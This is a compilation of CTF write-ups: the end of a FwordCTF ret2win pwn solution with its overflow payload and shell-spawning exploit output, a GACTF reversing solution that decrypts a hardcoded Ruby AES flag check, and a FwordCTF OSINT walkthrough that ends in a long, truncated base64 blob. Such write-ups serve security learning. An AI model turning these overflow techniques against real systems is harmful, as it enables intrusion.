`+ 1`, there it is again. I know better. I should have known [stack alignment](https://blog.binpang.me/2019/07/12/stack-alignment/) could be a potential issue and testing with +1 could have been a lazy check. Jesus, I already dealt with this twice in this CTF.
Fuck me.
Output:
```# ./exploit.py[*] '/pwd/datajerk/fwordctf2020/ezret2win/superez' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Connecting to superez.fword.wtf on port 2222: Done[*] [emailΒ protected]: Distro Unknown Unknown OS: Unknown Arch: Unknown Version: 0.0.0 ASLR: Disabled Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)[+] Opening new channel: '/bin/bash': Done[*] Switching to interactive mode
you typed 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x18@', Good Bye!FwordCTF{CVE-2019-18634_Is_L33t_BuT_1SnT_It_E4Sy_Ret2Win?}Segmentation fault (core dumped)``` |
Opening the binary in IDA, and looking at the imports, we can see `GetCommandLineA`, which is unusual.I jumped to the first XRef to it, and putted a breakpoint. I then started the debugger, and obtained the following.
It is running the following ruby script```rubyrequire 'openssl'require 'base64'
def aes_encrypt(key,encrypted_string) aes = OpenSSL::Cipher.new("AES-128-ECB") aes.encrypt aes.key = key cipher = aes.update(encrypted_string) << aes.final return Base64.encode64(cipher) end
print "Enter flag: "flag = gets.chomp
key = "Welcome_To_GACTF"cipher = "4KeC/Oj1McI4TDIM2c9Y6ahahc6uhpPbpSgPWktXFLM=\n"
text = aes_encrypt(key,flag)if cipher == text puts "good!"else puts "no!"end```
I modified it for the following```rubyrequire 'openssl'require 'base64'
def aes_decrypt(key,encrypted_string) aes = OpenSSL::Cipher.new("AES-128-ECB") aes.decrypt aes.key = key cipher = aes.update(encrypted_string) << aes.final return cipherend
key = "Welcome_To_GACTF"cipher = "4KeC/Oj1McI4TDIM2c9Y6ahahc6uhpPbpSgPWktXFLM=\n"
puts aes_decrypt(key, Base64.decode64(cipher))```
Which outputs```GACTF{Have_a_wonderful_time!}```
|
# FwordCTF 2020 WriteupThis repository serves as a writeup for FwordCTF 2020 solved by [S3c5murf](https://ctftime.org/team/63808)'s team
## Identity Fraud
**Category:** OSINT**Points:** 419**Author:** Cyb3rDoctor**Description:**
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
> Flag Format: Eword{}
**Hint:**
>(no hint)
### Write-up
I got to the Twitter profile [@1337bloggs](https://twitter.com/1337bloggs/with_replies). And I found the [retweeted](https://twitter.com/EwordTeam/status/1297957636026126339) tweet there.
[@EwordTeam](https://twitter.com/EwordTeam) recommended the user to visit their ctftime's team profile to continue working on this task.
It's possible to search the team Eword in the [Rating page](https://ctftime.org/stats/) on ctftime.org. And 'Eword' is the team name that we are looking for because [@EwordTeam](https://twitter.com/EwordTeam) shared their ctftime's team profile link in their Twitter's profile description.
And this is the team profile: [https://ctftime.org/team/131587](https://ctftime.org/team/131587)
But, as [@EwordTeam](https://twitter.com/EwordTeam) mentioned, it looks like the description was removed from there.
The first thing I thought about was [Wayback Machine](https://archive.org/web/).
I pasted the URL `https://ctftime.org/team/131587` and I found that link was indexed on 26/08/2020 and 27/08/2020 which is 2 days before the starting of the CTF.
Then, I choosed the indexed page from 27/08/2020: [archive](https://web.archive.org/web/20200827114614/https://ctftime.org/team/131587)
And that's how we found an extra link from Pastebin: [https://pastebin.com/8bk9qLX1](https://pastebin.com/8bk9qLX1)
I accessed that link.
So, the real task started and we should find the leader of Eword by following the hint provided in the second Pastebin link: [https://pastebin.com/PZvaSjA0](https://pastebin.com/PZvaSjA0)
As we can see, that link provided a Base64 encoded string. I was saying this is most likely a file but what type of file is this ? And the best way to know that is to decode the Base64 encoded string and to set it into a file and then we use the command `file` to identify what type of file is that:
```echo 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